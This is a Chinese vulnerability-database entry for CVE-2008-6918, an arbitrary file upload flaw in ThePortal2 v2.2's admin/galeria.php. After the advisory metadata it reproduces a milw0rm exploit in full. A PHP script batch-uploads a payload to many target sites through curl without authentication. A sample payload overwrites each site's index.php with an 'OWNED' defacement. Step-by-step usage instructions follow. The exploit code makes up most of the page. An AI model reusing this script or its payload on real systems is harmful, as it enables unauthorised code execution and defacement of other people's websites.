Theportal2.Pl '/admin/galeria.php'任意文件上传漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117154 漏洞类型 权限许可和访问控制
发布时间 2008-12-29 更新时间 2009-08-10
CVE编号 CVE-2008-6918 CNNVD-ID CNNVD-200908-056
漏洞平台 PHP CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/7620
https://cxsecurity.com/issue/WLB-2009080090
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200908-056
|漏洞详情
ThePortal22.2的admin/galeria.php中存在任意文件上传漏洞。远程攻击者可以通过上传一个具有可执行扩展名的文件,然后通过对galeria/的文件的一个直接请求来访问该文件,以执行任意PHP代码。
|漏洞EXP
[ web apps] theportal2 v2.2 (Auth bypass) file upload
--------------------
Author: siurek22
-------------------- 

You need curl to run it

--------------------
Code:
--------------------
upload.php


<?php
$file=$_POST['url'];
$fel=explode("\n", $file);




$ile=count($fel);
if(empty($file))
{
 echo'<br><br><br>
                                               <center>
                                               <form method="post">
                                               <textarea type="text" name="url" cols="50" rows="10"></textarea>
                                               <input type="submit" value="OWNED">
                                               </form>
';
}
else{
for($i=0; $i<$ile;$i++)
{
$url=$fel[$i];
$url2=$url."/admin/galeria.php?akcja=dodaj_foto";
$url5=$url."/galeria/own.php";
                $c = curl_init();
                $postFields['adres'] = '@' . dirname(__FILE__) . '/own.php';
                $postFields['tytul'] = 'us';
                $postFields['opis'] = 'us';
                $postFields['kategoria'] = 1;
                $postFields['B1'] = 'dodaj';
                curl_setopt($c, CURLOPT_URL, $url2);
                curl_setopt($c, CURLOPT_POST, 1);
                curl_setopt($c, CURLOPT_POSTFIELDS, $postFields);
                curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
                $odpowiedz3=curl_exec($c);

                curl_close($c);
}
}              
?>

------------
 „own.php” with your code php
Example:

<?php
$text="<?php die(\"OWNED...\"); ?>";
$adres=$_SERVER['SCRIPT_FILENAME'];
$adres=str_replace("own.php","",$adres);
$adres=substr($adres,0, -8);
$adres=$adres."index.php";
$fp=fopen($adres,"w");
fwrite($fp, $text);
fclose($fp);

?>

Example:
1 Put upload.php and own.php at server
2 Go to url yourserver.com/upload.php and put to the textarea adres of website and Click OWNED
3 Now go to url your file target.com/galeria/own.php

# milw0rm.com [2008-12-29]
|参考资料

来源:XF
名称:theportal-galeria-file-upload(47649)
链接:http://xforce.iss.net/xforce/xfdb/47649
来源:BID
名称:33057
链接:http://www.securityfocus.com/bid/33057
来源:MILW0RM
名称:7620
链接:http://www.milw0rm.com/exploits/7620
来源:SECUNIA
名称:33321
链接:http://secunia.com/advisories/33321
来源:OSVDB
名称:51143
链接:http://osvdb.org/51143